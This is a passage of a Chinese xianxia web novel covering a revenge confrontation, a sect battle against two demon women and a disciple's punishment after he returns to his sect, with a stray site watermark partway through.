可推开门,见到的却是被一剑穿心的母亲。鲜血从她的胸膛内淌出,眼泪与血泪交融,她面朝大门,艰难张唇让他快走。 单手持剑的人转过头来,那一瞬间,巫弃目眦欲裂。 那张脸是母亲无数次描绘过的,属于他父亲的脸。 无数次,她拿着父亲的画像,在他面前诉说二人相识的点点滴滴。她说,父亲称赞她的眉生得极好,多次持笔为她描眉。 可现在,那只替她描眉的手,却亲手将剑送入她体内。 那张曾经温柔无比的面容寒冷如冰,双目猩红,面目可憎。 若非江篱的长辈及时隐去他的身形,巫弃想,或许他也会死在那一日。 那日流风离开后,他埋葬了母亲的尸体,在她墓前跪了三天三夜。 弃姓弃名弃骨血,随母姓,取字“弃”,自那以后,这世上多了个为复仇而活的巫弃。 母亲临死前的面容在眼前浮现,巫弃神色狠戾,“杀母之仇不共戴天,流风,我只让你自绝灵脉,已经算是仁至义尽。” “怎么,你们鸿鹄仙宗的流风仙尊敢做不敢当,不敢应下我这个请求吗?” 四周鸦雀无声。 所有人的视线齐齐看向流风。 他垂着头看不清神色,眸内红意翻涌,脑中作痛。 脑海深处浮现出一道尘封已久的身影,身着红衣的姑娘笑盈盈看着他,轻声唤道:“流风。” “流风。” “流风。” “流风……” 流风怔怔看着掌心,刺眼阳光照射而下,他避了避,眼角泛起一点晶莹。 “仙尊!” 曾长老急声道:“您不能答应。” 眼里翻涌的红意骤然定格,流风抬头,安静看着下首神色憎恶的年轻人。 嘴唇轻轻阖动,半晌,他轻声应:“好,我答应你。” 最后再看巫弃一眼,他霍然抬手,十八道灵印从掌心飞出,霎那间钻入体内,震碎他所有灵脉。 “咔嚓——” 他听见灵脉破碎的声音,也听见一道愤怒的呐喊声。 “仙尊!” 流风呕出一口血,虚弱倒下。 曾长老惊怒交加,急急奔来将他扶住,愤怒冷戾的目光看向巫弃,“逼迫亲父至此,你满意了?!” 巫弃仰天大笑,“满意,满意,我满意极了!” 他霍地抬手,指尖灵气割破手腕,鲜血奔涌而出,如细雨淅沥,掉落在地。 一下失了半身精血,巫弃软倒在地。 “阿弃!” 曲江篱从浮岛上一跃而下,取出灵药,一个劲往他嘴里塞,双眼含泪心疼道:“快吃,快吃下去啊。” 巫弃嘴唇泛白,艰难吞咽。 他红着眼看向流风,“弃姓还血,从此以后,我巫弃与你再无干系。你最好一辈子龟缩在鸿鹄仙宗,否则来日见你,我必定亲手取你性命,告慰亡母英灵。” 说完,不再去看流风的表情,巫弃握住曲江篱的手,咬牙道:“走!” 曲江篱抹掉眼泪,将他搀扶起身。 两人往外走一步,身后忽然响起压抑的怒音。 “今日你们谁都别想走!” 曾长老忽然发难,沉着脸道:“将这小子抓住,用他的灵脉填补仙尊的。” 流风惊怒,温和的嗓音失了调,“住手!” 可惜无人听他所言,鸿鹄仙宗三位化神长老齐齐出手,一道又一道法印亮起,滚滚海浪,熊熊火焰,黑色雷光三者交织,密不透风朝巫弃和曲江篱压去! 流风大吼,“给本尊住手!” 声音淹没在滚滚雷鸣中。 半边天空亮起,法印带着极强的压迫感逼近,灵光照在巫弃苍白的脸上。 千钧一发之际,曲江篱愤而转身,怒喝道:“无耻人族,欺人太甚!” 巫弃大惊,“江篱不要!” 愤怒中的曲江篱根本听不见他说什么,双手结印,冰蓝色光芒自她身上升起,虚影浮现在身后,随着灵光散去,逐渐化为一道神圣兽影。 它朝天大吼,嘹亮悠远的嗓音仿佛来自上古,将天空密密匝匝的法印全部掀翻。 “那是什么——” 有人惊呼。 浮岛上,面露惊色的典淮霍然站起。 身后一名长老颤声道:“那、那是……水麒麟?” 妖族水麒麟,善治疗,其血肉可生死人肉白骨,真正的疗伤圣兽,别说是玄清域,哪怕是在妖族,依旧是惹人觊觎的存在。 一只水麒麟出世,可令万人疯狂。 一时间,无数人呼吸粗重,双目猩红盯着下首的曲江篱,眼中漫出贪婪觊觎。 “妖女,你出现在玄清域,撺掇巫弃对付亲父究竟意欲何为!” 曾长老大义凛然道:“抓住这个妖女!” 蕴禾抓紧扶手,面色微沉。 曲江篱身份暴露,这下可不好办了。 她猛一闭眼,下一瞬,人已经出现在擂台上。 曲江篱惊喜,“阿蕴姐姐!” 蕴禾斥道:“妄用血脉之力,你不想活了?” 曲江篱委屈,“可我不能看着他们捉走阿弃……阿蕴姐姐当心!” 尾音陡然变调。 蕴禾回头,只见剑光与法印光辉在空中闪烁,编织成一张密不透风的大网。 她冷笑,“虚伪的人族。” 为了一个水麒麟,连脸面都不顾了。 掌心翻转,妖气在手中翻涌。 “见清,给我回来!” 一道怒喝响起。 下一瞬,惊天剑光刺破天际,一道身影飞身而来,挡在巫弃等人身前。 第70章 “见清!” 典淮怒极,喝道:“现在不是你逞朋友意气的时候,给我回来!” 苏见清清润嗓音温和而坚定道:“师叔,巫道友和曲姑娘是我的朋友,我不能视而不见。” 典淮指着曲江篱道:“她是妖!” 苏见清抿唇,“师叔,曲姑娘虽是妖,但她并未伤害过任何一人。” “好好好。” 典淮气极,“我看你是被这妖女给蛊惑了心智,既然如此,我先抓这妖女,再将你带回伏渊,去你师尊面前请罪!” 话落,湛湛剑光自他身后涌现,一柄炽热如阳的灵剑伴随着滔天剑气,直指苏见清。 属于化神修士的威压如山岳厚重,苏见清深吸一口气,握紧长虹,侧首对蕴禾道:“阿蕴姑娘,这一剑我来接。” 蕴禾想问,你能行吗? 但见苏见清侧脸坚毅,又将话咽了回去。 她护在曲江篱和巫弃身前,抬手结出一道结界,将三人笼罩在内。 伏渊仙门掌门典淮,在玄清域的名气不如玄陵与流风,也鲜少有人见其出手,但今日这一剑,灼灼如曜,惊天裂地,惊艳了无数剑修的眼。 更令人意外的是那名伏渊弟子,面对典淮的剑,他无惧无畏,一柄灵剑清亮如雪,挥动间冰雪无声而至,寒霜悄悄爬满整座擂台。 两道剑气相撞,那冰雪剑气竟并无颓败之意,气浪自二人对撞的中心扩散,轰轰烈烈往四周蔓延。 浮岛轰隆碎裂,修士们御剑、御灵器而行,飞在半空一眨不眨地盯着这场属于剑修的比试。 有人疑惑,“那位伏渊弟子是何来头,居然能接住典淮掌门的剑?” “见清?这个名字我为何从未听过?” “是啊,如此惊才绝艳的剑修,为何此前从未听闻?” 人群里有消息灵通之人道:“那是玄陵仙尊座下首席弟子,伏渊这一辈中第一个迈入元婴之人。” “如此年轻的元婴,为何不参加群英会,反而藉藉无名?” 也有人道:“这才像是玄陵仙尊的弟子嘛,哪像之前……” 这话淹没在滚滚气浪中。 褚潇潇咬唇,漂亮眼睛里含着点点泪光,定定看着苏见清的方向。 伍宏志安慰,“潇潇,你别听他们胡说,仙尊能收你为徒,定是见你天赋出众,又生得乖巧可爱,总有一日,你也能像苏见清那般,使出令人惊艳的一剑。” 这话很大程度安抚了褚潇潇激荡的内心,她深深吸气,偏头对伍宏志重重点头,“嗯!” 伍宏志说得对,师尊能收她为徒,定有她的过人之处,只不过现下的她处于师兄的光环笼罩下,并未发觉罢了。 褚潇潇握拳,眸中倒映着剑光,深深吸气。 终有一日,她也能如师兄一般。 此间天地几乎被苏见清和典淮的剑气绞碎,唯有被蕴禾护住的擂台完好无损。 她抬头,眉头轻拧,注视着半空中的苏见清。 年轻修士下颌绷直,全身灵力齐齐调动。 灵气走过胸膛时,他忽然一颤,一股剧烈的疼痛从心口袭遍全身,如附骨之疽啃噬着他的血肉。 手中力道一泄,炽热剑气瞬间迎面袭来,剑修的身影从空中坠落。 “苏见清!” “见清!” 蕴禾飞身将苏见清接住,后者脸色惨白,双眼紧闭,嘴角溢出一股股鲜血。 “苏见清!” 蕴禾焦急地又唤一声。 躺在怀里的人气息微弱,她猛一咬牙,从储物手链中取出一瓣白玉水莲喂在他口中。 “见清!” 典淮的身影匆匆奔来,急声道:“见清怎么了?怎么会这么严重?” 听到他的声音,蕴禾眸中闪现怒色,将苏见清交给曲江篱,“照顾好他。” 话落,她猛然起身,怒火如有实质,层层上涌。 “你好大的胆子。” 往前迈一步,妖气自蕴禾身上攀升,狂风呼啸,风声如鬼哭狼嚎,席卷这片天地。 “妖,她也是妖!” 惊呼声宛如利剑刺穿云雾,方若望和齐岱猛地看向蕴禾,齐齐惊愕。 “不仅是妖……” 典淮低声喃喃,而且还是个大妖。 视线落在生死不知的苏见清身上,他叹气。 见清啊,怎么你下一次山,还认识了这么多妖呢? 他深吸气,喝道:“诸位长老,请助我一臂之力,拿下此妖!” “义不容辞!” “典淮掌门不必客气,除魔卫道乃是我辈职责,这妖女直闯群英会必有阴谋,我们今日就将她拿下!” “杀!” 杀声如滔天巨浪,震慑人心。 齐岱拉住方若望的衣袖,焦急小声,“方师弟,怎么办?” 虽然这位不知底细的阿蕴姑娘是妖,但她也是苏师弟的心上人啊,就、就这么让掌门将她拿下? 方若望脑中快速权衡利弊,眸光落在某处,忽然一定。 “你看。” 齐岱顺着他的视线看过去。 那位阿蕴姑娘仿佛听见什么可笑的话,冷冷掀唇,语带讥诮,“就凭你们,也敢拿我?回去再修炼几百年吧。” “狂妄!” 典淮沉着脸,一手指天,喝道:“烈阳诛邪!” 剑气斩落,与此同时,其余仙门掌门长老齐齐出手,剑气如细雨挥落,法印将整片天空占据。 数十位化神修士齐出手,滔天威压令修士们急忙结出结界护住自身,即便如此,那位阿蕴姑娘依旧不露颓色,独身站在风暴中,衣袍被风浪卷起,临危不惧,面色沉静。 她嘴角勾出一抹冷笑,单手举起,喝道:“棍来!” 一道青光飞入掌中,灵光拉出长长拖尾,蕴禾眸色骤厉,一手提棍,狠狠往下砸去! “轰——” 凶猛澎湃的妖气以摧枯拉朽之势撞向剑气,“咔嚓咔嚓”的响声后,灵光大亮的法印纷纷碎裂,妖气狂压而下,长老们接连倒退数步,惊魂不定地望向风暴中心。 典淮面色冷沉,握住佩剑的手缓缓收紧,盯着蕴禾所在的地方不放。 片刻后,余波散去,擂台上已空无一人。 寂静天地间,修士们齐齐倒吸一口凉气。 能在数十名化神修士手中全身而退,那位绿衣妖女究竟是什么来头? 齐岱暗暗激动地扯住方若望的袖子,压低嗓音道:“方师弟,那位阿蕴姑娘这么这么厉害的吗?” 方若望拧眉,眸底暗含忧虑。 典淮静立许久,眸色不断变幻。 良久,沉沉叹了口气,见清,你到底招惹了什么样的存在? …… 一道青光迅疾从天际划过,蕴禾沉着脸坐在青羽上,低眸望着一旁的苏见清不语。 他昏迷不醒,领口被扯落,露出白皙胸膛上萦绕的黑气,阴冷诡异,弥漫着不详的气息。 典淮身为一宗掌门,不太可能会修炼这种毒气,更何况,这毒气里蕴含着浓烈的魔气。 他是什么时候受的伤?枫泠城?还是观沧海? 蕴禾思绪飞速流转,最终停在那日与后饶一战上。 她恨得咬牙切齿,早知如此,当初就该把后饶碎尸万段! 蓝色妖气从曲江篱掌心溢出,笼罩在苏见清身上。等苏见清身上黑气全部消散,她收手,脸色肉眼可见地白了下来。 “江篱,怎么样?” 巫弃急急将她揽住。 曲江篱摇头,仰头对蕴禾道:“苏公子身上的伤势已无大碍,只是中毒多日,身子尚且虚弱,需得好生将养,半月之内不可动用灵气。” 蕴禾焦躁的心平静下来,取出一片白玉水莲递给她,“你今日动用不少血脉之力,修为大损,将这东西吃下去。养好伤就回水灵域去吧。” 曲江篱族中宝物不少,自然能认出眼前是何物,怔怔抬头看向蕴禾,“阿蕴姐姐,你……” “你什么你,赶紧吃。” 蕴禾不耐地把白玉水莲喂进曲江篱嘴里,她下意识咽下去。 “玄清域太危险,你又是个活靶子,事情既然已经了结,就赶紧回去。” 曲江篱泪眼汪汪,“阿蕴姐姐,你真好。” 她心里已经隐隐猜出蕴禾的身份,不由感动道:“阿蕴姐姐,这次回去不管用什么法子,我一定说服爷爷那老顽固!” 听到这话,巫弃霍然抬头,心里隐约有个猜想。 水麒麟因其特殊功效,无论在何处都是受人争抢的存在,万年前,族长带着族人迁居一处秘境,水麒麟就此销声匿迹。 可这么多年下来,秘境隐有坍塌之险,水麒麟即将再度面临东躲西藏,居无定所的日子。 直到听说新任妖皇虽手段狠厉,但处事公正,哪怕是妖王也说杀就杀,令妖域焕然一新。 族中某些长辈提出臣服妖皇,搬到东隅城,接受妖皇庇护,只要能安稳过日,把血脉延续下去,哪怕需要损伤一些血肉也在所不惜。 但也有族人反对,担心妖心难测,妖皇会对水麒麟一族露出獠牙。 族中对此争论不休,吵了多年,江篱对此一向不表态,没想到竟会赞同族人搬出水灵域。 蕴禾没什么反应,摆手道:“行了,赶紧回去吧,晚走一步多一分危险。” 她随手丢给巫弃一瓶药,“补血的,吃吧。” 巫弃接过,拱手恭敬道谢,“多谢陛下。” 曲江篱扶住巫弃,鹿眼含光,“阿蕴姐姐,我和阿弃先走了,来日东隅城再会。” 二人化为一道流光,消失在天际。 蕴禾收回视线,目光放在苏见清身上。 注视他苍白的脸色,她沉沉叹气,“中毒这么多日,你竟毫无察觉,可真是……” 食指在苏见清鼻尖轻点,蕴禾叹道:“你这性子,迟早要死在玄清域,还是跟我回妖域去吧,你说呢?” 她弯起双眼,“你不回答,我就当你答应了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 大殿之上,玄陵听典淮说完事情的起因经过,脸色渐冷。 落下最后一个字,典淮抬手饮茶,“师兄,见清每次出山都是为了除魔,哪见过那等姿色的女妖?他又血气方刚的,一时被妖女迷惑也在情理之中,等他回山,我定好生劝导,让他与那妖女一刀两断。” “回山?” 玄陵冷笑,“事发至今已过了三日,本尊连他一个影子都没见着,你看他像是要回山的样?” 典淮尴尬垂首,又饮了口茶。 玄陵脸色难看,“那妖女究竟生得有多勾魂夺魄,竟将他迷住了?” 典淮挥手,杯中茶水涌向半空,汇聚成一张娇俏的女子面容。 “好生眼熟。” 典淮疑惑,“师兄见过她?” 玄陵沉着脸,猛地挥袖。 一张卷轴从他袖中飞出,在典淮面前展开。 卷轴上的女子一双杏眼生得圆润明亮,肩头垂落一缕白发,明丽纯美,仿佛林间天生地养的精灵,清亮眸光中仿佛多了点别的东西,蛊惑人看她一眼又一眼。 玄陵:“弟子们最近传回消息,明城多了只玉妖,生得极美,用美貌引诱修士后吞噬其肉身修为,如今已成一方大患。你仔细看看,是否与带走那孽徒的妖女生得一样?” 那张脸生得世间罕见,不用细看也能发现二者的相同之处。典淮面色微凝,“是她。” “混账东西!” 玄陵陡然发怒,长袖一挥,桌面茶水丁零当啷掉落,整座大殿隐隐晃动。 “师兄息怒!” 典淮劝道:“先把人找回来再说别的。” 玄陵勉强忍住怒气,从袖中挥出一排玉简,沉声道:“传本尊命令,凡我伏渊弟子,遇孽徒苏见清者,竭力将之带回。若孽徒反抗,不必手下留情,留一命即可。” 玉简灵光闪烁,将玄陵的话印入其中。 他猛一挥袖,玉简飞出大殿,往四面八方散去。 流光从余光里消失,典淮沉沉叹气。 正在这时,一名弟子大气不敢出地出现在殿外,战战兢兢道:“仙尊,掌门,有客来。” 这个时候,谁会来拜访? 典淮拧起眉,“是何人?” 弟子回:“合欢宗的容圣女,她道与苏师兄有些交情,见他在群英会上受了伤,特地来探望。” 怎么又来一个合欢宗圣女? 典淮压着烦躁,“不见,让她回去吧。” 弟子正要应声,殿内骤然响起一道威严声音,“等等。” 典淮不解,“师兄?” 玄陵直视前方,双目沉沉,寒声道:“让她进来。” …… 苏见清一睁眼就瞧见了头顶悬挂的夜明珠。 迟钝地眨了下眼,昏迷前的所有场景映入眼中,他霍然起身,“阿蕴姑娘,曲姑娘,巫道友!” 这一动才觉出心口隐隐的痛意,苏见清抬手捂住心口,坐在原地慢慢平复。 余光瞥见周围放置的金色珠子,他环视一圈。 此地是个山洞,洞内金珠遍野,身下石床传来热意。 苏见清面色茫然,这是哪儿? 没多久,洞口走来一道熟悉的身影,身着绿衣的姑娘嘟囔抱怨,“什么鬼地方,连条河都没有。” 抬头瞥见石床上的苏见清,她眼前一亮,丢下手里的东西迎上来,“你醒啦?现在感觉怎么样?” 苏见清迷茫疑惑,“阿蕴姑娘,这是哪儿?” “哦,是只炎灵豹的洞府。” 蕴禾随口道:“它这张石床乃是炎灵髓,对你的伤势恢复有好处,我就把这儿占了。” 苏见清默了默,“那只炎灵豹呢?” 蕴禾一脸理所当然,“被我赶去隔壁山头了。” 笑话,她怎么会和一只豹子住在一起? 那玩意又不好吃。 在苏见清床边坐下,蕴禾面色不善,“你这人怎么回事,连自己中了毒也没发觉?要不是这次和你师叔对招将那毒引了出来,说不定你哪日无声无息就死了。” “毒?” 苏见清面色震动,“我、我并未发现自己中了毒。” “在观沧海的时候后饶下的。” 蕴禾愤恨,“早知如此,当初我就该把后饶挫骨扬灰!” 苏见清确实并未发觉。此时蕴禾这么一说,他后知后觉意识到,前几日运转灵力时的确感到心口凝滞。 抿抿唇,他未在此事上纠结,问道:“曲姑娘和巫道友呢?” “回妖域了。” 蕴禾:“那小东西身份暴露,留在玄清域只有死路一条,相比之下,还是回去较好。” 苏见清点头。 他觑蕴禾一眼,想问她可是也要回妖域了?话到嘴边,却如何也开不了口。 蕴禾发现了,狐疑问:“你想说什么?” 苏见清嘴唇阖动,终是问:“我……师叔他们呢?” “我怎么知道。” 蕴禾翻白眼,“他要抓我,我还得悄悄关注他们的行踪不成?” 苏见清垂首,低声道:“对不起。” 掌门师叔应是回伏渊去了,此时此刻,师尊定然已经知晓他结识妖族,和在桑若城的所作所为。 师尊……定然怒了。 “要抓我的是你师叔,你和我道什么歉?” 一根手指抵在额上,将苏见清的头推起来。他看见一双眼睛,如青竹峰上荧光闪烁的萤虫,又似那晚草屑翻飞时惊艳他的绿光。 眼睛的主人恨铁不成钢,“你是你,他们是他们,别把你们混为一谈。” 苏见清心知,他和伏渊是分不开的。 他自襁褓时便被师尊抱上了伏渊仙山,他在那山上住了多年,早已将之视为家。 师尊与师叔,就是他的家人。 家人对她下狠手,他怎能不介意? 这话说出口定会让蕴禾姑娘生气,苏见清笑笑,轻轻点头。 蕴禾这才满意,拍拍剑修的头顶,语调难得温柔,“你的毒虽然清了,但此时身体尚弱,还需好好养着,半个月内不许动用灵力。” 苏见清微怔。 他还想说什么,蕴禾已跳下石床走到洞口,捡起方才被她丢下的东西,咕哝道:“我本来想抓几条鱼给你煮个汤,但这破地儿连条河都没有,只有这东西。” 蕴禾扬手,露出手上被剥了皮的灵鸡,“你不介意吧?” 心中腹诽,他要是敢说介意,今日这汤她绝对不炖了。 还好苏见清极为上道,眉眼弯弯笑道:“不介意。” 蕴禾浅浅勾唇,指尖一道妖力飞出,带着轻柔的力道将苏见清放在石床上。 她不满,“瞧你那脸白的,赶紧躺着歇息吧。” 蹲下身,她从储物手链里翻找出一口炼丹鼎,弹出一缕金乌火。妖火熊熊燃烧,蕴禾用妖力将灵鸡切成小块丢进鼎内,又加了好几味疗伤灵药。 “好了。” 蕴禾拊掌,得意转身,“就让它这么熬着好了。” 苏见清躺在石床上,眸底倒映着姑娘自信张扬的笑,微微勾起唇,“嗯。” 这一鼎鸡汤蕴禾足足炖了两个时辰。 艰难从储物手链里找出碗勺,她盛出一碗汤。 还好她喜欢把东西都塞进储物手链里,否则此时连个碗都没有。 蕴禾端着鸡汤来到苏见清床边,舀起一勺,吹了口气送到他唇边,“喝吧。” 苏见清看她一眼,轻抿一口,不动声色咽下。 两人一个喂,一个喝,很快把一碗鸡汤喝得干干净净。 喂完最后一口,蕴禾随意涮了下碗,轻舔嘴唇,给自己也盛了碗鸡汤。 苏见清还没来得及阻止,鸡汤已经进了蕴禾口中。 下一瞬,她脸色骤变,把汤吐出来连呸了三声,“怎么这么难喝?!” 苏见清:“好喝的。” 蕴禾一脸震惊,这人怎么还睁着眼睛说瞎话呢? 苏见清笑了笑,从床上起身。 他从芥子囊内取出几样东西放在炼丹鼎中,重新为蕴禾盛了一碗,“尝尝。” 蕴禾纠结,试探性伸出舌头一舔,目光陡然定住。 也不知这人究竟放了什么东西,这汤竟当真变得好喝了。 她忍不住对苏见清竖起大拇指。 苏见清失笑,眼里亮起细碎的光。 蕴禾吃饱就容易犯困,她躺在青羽上面对着苏见清的方向,看着看着就睡了过去。 山洞内陷入寂静,不时响起细小的呼吸声。 苏见清缓缓睁眼,视线凝在蕴禾脸上,用目光描绘她的五官。 他就这么睁着眼,看了她许久。 …… 蕴禾与苏见清在山洞里待了五日。 这几日蕴禾天天去捉灵鸡,和着灵药一起炖煮,又有白玉水莲和炎灵髓等一起养护,第三日的时候,苏见清从外表上看已全然无恙。 于是,下厨的事又落在了他的身上。 今日午膳是几只烤灵鸟,外焦里嫩,鲜香味美。蕴禾一连吃了好几只,饭后摸着肚子躺在山洞里,感慨道:“还是你的厨艺好啊。” “不过今日的鸟品质一般,妖域有一种鸟名为光云,羽毛呈金色,流光溢彩的极为好看,听说肉质也极为鲜美。” 蕴禾翻身而起,圆溜溜的大眼睛一眨不眨地看着苏见清,“等你随我回到妖域,我带你去捉。以你的手艺,定能把这鸟做得极为美味。” 苏见清微怔,抬睫对上姑娘期待的目光。 他抿唇,缓慢又坚定道:“阿蕴姑娘,我该回伏渊了。” 第72章 “你说什么?” 蕴禾瞬间变脸,“你再说一遍?” 苏见清口齿清晰,坚定道:“阿蕴姑娘,我要回伏渊。” 蕴禾大怒,“以你那师尊的性子,若是回去,你知不知道等待你的会是什么?” 苏见清失笑,“哪有那么严重,师尊就算再怎么生气罚我,也不会一剑杀了我。” “阿蕴姑娘放心,我会好好的。” “好个屁!” 蕴禾没忍住爆一声粗口,“你做错了什么?你什么也没做错他就要罚你,这是什么道理?” “不过认识两个妖修,我们一没当奸细,二没残害人修,他玄陵就要把我们当恶妖对待,怎么,这偌大的修真界容不下别的种族,只能由人修统治了?” “阿蕴姑娘!” 苏见清霍然站起,“我师尊绝无此意。” 蕴禾嘴角勾起冷笑,满含嘲讽,“究竟是他绝无此意,还是你不愿相信自己的师尊独断专行排除异己?” 苏见清紧紧抿唇,“阿蕴姑娘,师尊真的绝无此意,他只是对妖修的成见太深。” 深吸口气,抬起头,他道:“此次回去,我定会劝说他改变对妖修的看法。” 蕴禾下颌绷紧,面色冰寒,“说来说去,你还是要走。” 苏见清唇瓣阖动,却是道:“阿蕴姑娘,那是我的家,我是一定要回去的。” 蕴禾强忍住怒气,“那日你与我打赌,你输了。” 她扬起下巴,冷声道:“我要你现在就兑现承诺,和我去妖域。” 苏见清没想到,蕴禾从那个时候就谋算着带他回妖域。 她是以什么心情和他打的赌?又是把他当成了她的什么? 苏见清心里乱得很。 他强迫自己把所有繁杂的思绪全部切断,深深呼吸,保持冷静对蕴禾道:“抱歉。” 蕴禾大怒,“苏见清,你敢毁约?!” 苏见清长睫一颤,涩声道:“阿蕴姑娘,对不起。” 就在蕴禾沉浸在愤怒中时,他与她侧身而过。袍角擦过姑娘的裙摆,苏见清骤然停住,鼓起勇气回头最后看了蕴禾一眼。 “阿蕴姑娘……希望有朝一日,我们还能重逢。” 蕴禾猛地转身,“苏见清!” 掌中妖力涌动,眼看就要一掌劈在苏见清颈后。 背对着她的剑修忽而轻声开口,“阿蕴姑娘,就算你强行把我带回妖域,除非我死,否则我一定会想方设法回来*。” 蕴禾的动作僵住。 掌心绿色妖力闪烁,终是熄灭了。 她放下手,冷笑三声,笑声里充斥着讥讽,“行,行。不愧是正道之首,一心向着玄清域,向着人修,自是不愿与我们这些邪魔外道为伍。” 苏见清忍不住辩解,“阿蕴姑娘,我没那个……” “滚!” 蕴禾冷喝一声,背过身去,强忍怒气,“趁我没改变主意前,马上消失在我面前。滚出去!” 苏见清双唇抿成一条直线,嘴唇泛起苍白之色。 阿蕴姑娘从未对他生过这么大的气,这次,是真的不会再原谅他了吧? 心口的原野似被忽如其来的妖风卷走,留下空荡荡的沙坑,淅淅沥沥的小雨落下来,泛起令人厌烦又难以甩脱的粘稠之意。 眼眶酸涩发烫,苏见清掌心攥紧,又颓然松开。 他低声道:“阿蕴姑娘,祝你万事顺遂,岁岁无忧。” 最后一个字落下,苏见清唤出长虹,毅然决然往山洞口走去。 蕴禾转身时,只瞧见一抹清亮剑光在眼前消失。 她勃然大怒,“苏见清,你还真敢走!” 澎湃妖力自蕴禾身上爆发,向四面八方射去,转眼间,山洞轰然倒塌。 隔壁山头的炎灵豹探出头来,见自己的洞府毁于一旦,悲伤地向天吼叫一声。对上一双夹带滔天怒火的眼,它连叫都不敢叫,立马缩着脖子躲回去。 蕴禾站在废墟上,气极反笑,咬牙切齿,“苏见清,你真是好样的!” …… 苏见清独自一人踏上了回伏渊的路。 以往这条路他走过无数次,许多次都如现下这般孤身一人,可这次身边少了一个姑娘,他却似丢了魂似的,不仅没心情在路上停留,甚至最初都没发现有人靠近,直到一群穿着熟悉弟子服的修士将他团团围住,苏见清才恍然回神。 “苏师兄,仙尊命我等将你捉拿回山,还请师兄勿要负隅顽抗。” 捉拿。 听到这两个字,苏见清苦笑一声,“好。” 为首的弟子正要用绳索将苏见清绑住,头顶忽然急急落下一声,“等等——” 齐岱和方若望从天而降,对那弟子笑道:“魏师弟,你们不是还要去除魔吗?这里离伏渊不远,还是把苏师弟交给我和方师弟好了。” 魏姓弟子沉吟片刻,颔首应了,“好,那便麻烦二位师兄了。” “不麻烦,不麻烦。” 齐岱笑着摆手。 弟子们走后,他立马凑到苏见清身边,关心道:“怎么样苏师弟,你的伤如何,都好全了?” 苏见清心里一暖,“都好了,多谢齐师兄挂念。” 齐岱松了口气,一巴掌拍在他肩上,赞道:“你可以,不愧是咱们伏渊这一代弟子中的第一人,连掌门师伯的剑都敢接。” 苏见清苦笑,“齐师兄谬赞了。” 方若望在一旁道:“苏师弟,师伯这次是真的发了怒,你要有心理准备。” 苏见清抿唇,“我知道,多谢方师兄提醒。” 齐岱左看右看,没见到蕴禾的身影,又见苏见清神色暗淡,眉眼尽是失落,将叹息声咽回喉咙,揽着苏见清的肩与他一同御剑回伏渊。 不忘宽慰,“苏师弟放心,师伯就你这么一个大弟子,他就算再生气也不会……” 三道灵光划过,往伏渊的方向飞去。 …… 伏渊,沉霄峰。 大殿之内,玄陵高坐上首,单手支颐,雪色长发从肩前垂落,面上投射一道阴影。 典淮坐在下首,手中握一把折扇,眉头紧皱不放,抿唇不语。 褚潇潇挨着典淮而坐,手捧一杯冷茶,不时抿两口,悄悄把视线放在殿外。 大殿内的气氛实在凝重,褚潇潇有些受不了,放下茶杯,“师尊别担心,想必师兄很快就能回来了。” 玄陵不语,褚潇潇尴尬又委屈地抓了下掌心。 这还是师尊第一次不理她呢。 折扇在掌心拍出沉闷的一声响,典淮偏头,对褚潇潇轻轻摇头。 少女撅了噘嘴,听话闭嘴。虽是乖乖坐着,可大脑却控制不住地去想至今下落不明的师兄。 师兄他向来严明律己,怎么会和妖修扯上关系? 想到擂台上匆匆一瞥的两个女妖的容貌,褚潇潇猛地摇了下头。 师兄不是那么肤浅的人,就算那女妖再怎么绝色,也不至于被迷惑。 可是…… 褚潇潇又犹豫了。 那名穿绿衣的女妖,真的很漂亮啊。 乱七八糟想了一通,余光往外扫时正好瞥见几道往沉霄峰飞来的身影,褚潇潇倏地起身,惊喜道:“师尊,师兄回来了!” 此话一出,上首的玄陵微微抬眼,典淮的扇子一拍掌心,喜道:“可算是回来了。” 齐岱和方若望从殿外走进来。 “二位师伯。” “师尊,师伯,苏师弟回来了。” 典淮笑着拍拍方若望的肩,“不错,平安把你师弟带回来了,此行……” “跪下。” 骤然响起的声音打断了典淮的话,他笑容僵住,回头去看玄陵,“师兄,孩子刚回来,有什么话咱们明日再说。” 殿内的苏见清二话不说,立即跪下。 玄陵缓缓站起,掌心一闪,将一把鞭子握在掌中,对着苏见清甩去。 “与妖修为伍,苏见清,你可真是长本事了。” 这一鞭用了十成的力,苏见清左肩到胸膛立马显出一道血痕,鲜血涌出来,似雪地里开出的无数朵梅花。 他一声不吭,咬牙忍受识海里密密麻麻的痛。 齐岱和褚潇潇被吓住了,前者悄悄往方若望身边靠,后者忍不住攥住典淮的袖子。三人目光落在苏见清身上,皆是担忧。 苏见清将手放在腰间芥子囊上,暗暗松了口气,忍不住庆幸。 还好将阿蕴姑娘送的玉婵纱衣换下来了,否则岂不是要弄脏了她的衣裳? “师兄!” 典淮忍不住道:“见清身上还有伤,怎么受得住噬魂鞭侵蚀神识的痛?!” “师弟。” 玄陵暗沉的目光压过去,话里满含威压,“若再不教训,来日这孽徒说不定就要随那妖女背师叛宗而逃。” “你别忘了他的身份。” 最后两个字,玄陵咬得极重。 典淮一怔,眼里神光不断变幻,最终沉沉叹了声气,侧过头去。 褚潇潇怔愣,“师叔……” 齐岱着急忙慌给方若望使眼色,他蹙眉去看典淮,“师尊,苏师弟他……” 典淮轻轻摇头,嗓音泛着威严,“谁也不准再开口。” 三个年轻弟子拧眉不解,担忧的视线朝跪在殿中的苏见清看去。 “本尊问你,你如实回答。” 玄陵握紧噬魂鞭,神色冰冷,嗓音沉沉,“在桑若城事发前,你可知晓那妖女的身份?” 他的声音如砌了冰,沉甸甸落在苏见清心头。 他抿唇,“知道。” “啪——” 又一道噬魂鞭落下。 第73章 泛着灵光的鞭尾垂落,与玄陵绣着华美绣纹的袍角交叠。 一点血渍从鞭尾抖落,血珠骨碌碌往下滚,不曾脏了高贵仙尊的衣角。 玄陵气极反笑,连道三声好,“苏见清,你可真是长本事了,既知那是妖女,你还敢与之厮混,你将我、将整个伏渊置于何地?!” 这一鞭甩在苏见清脖颈,猩红鲜血从他颈间滑落,所过之处染上一道细细长河。 他抬头,忍痛解释,“师尊,阿蕴姑娘虽是妖,但她并未伤过任何一个人族。在枫泠城与观沧海,若非她多次助我,弟子决不能活到今日。” “甚至甘巍与后饶,也是阿蕴姑娘所杀。” “从未伤害任何一个人族?” 玄陵音量拔高,怒道:“睁大你的眼睛好好看看,这是什么?!” 一张卷轴飞至半空,在苏见清面前展开。上面映着一张熟悉的脸,与数个名字。 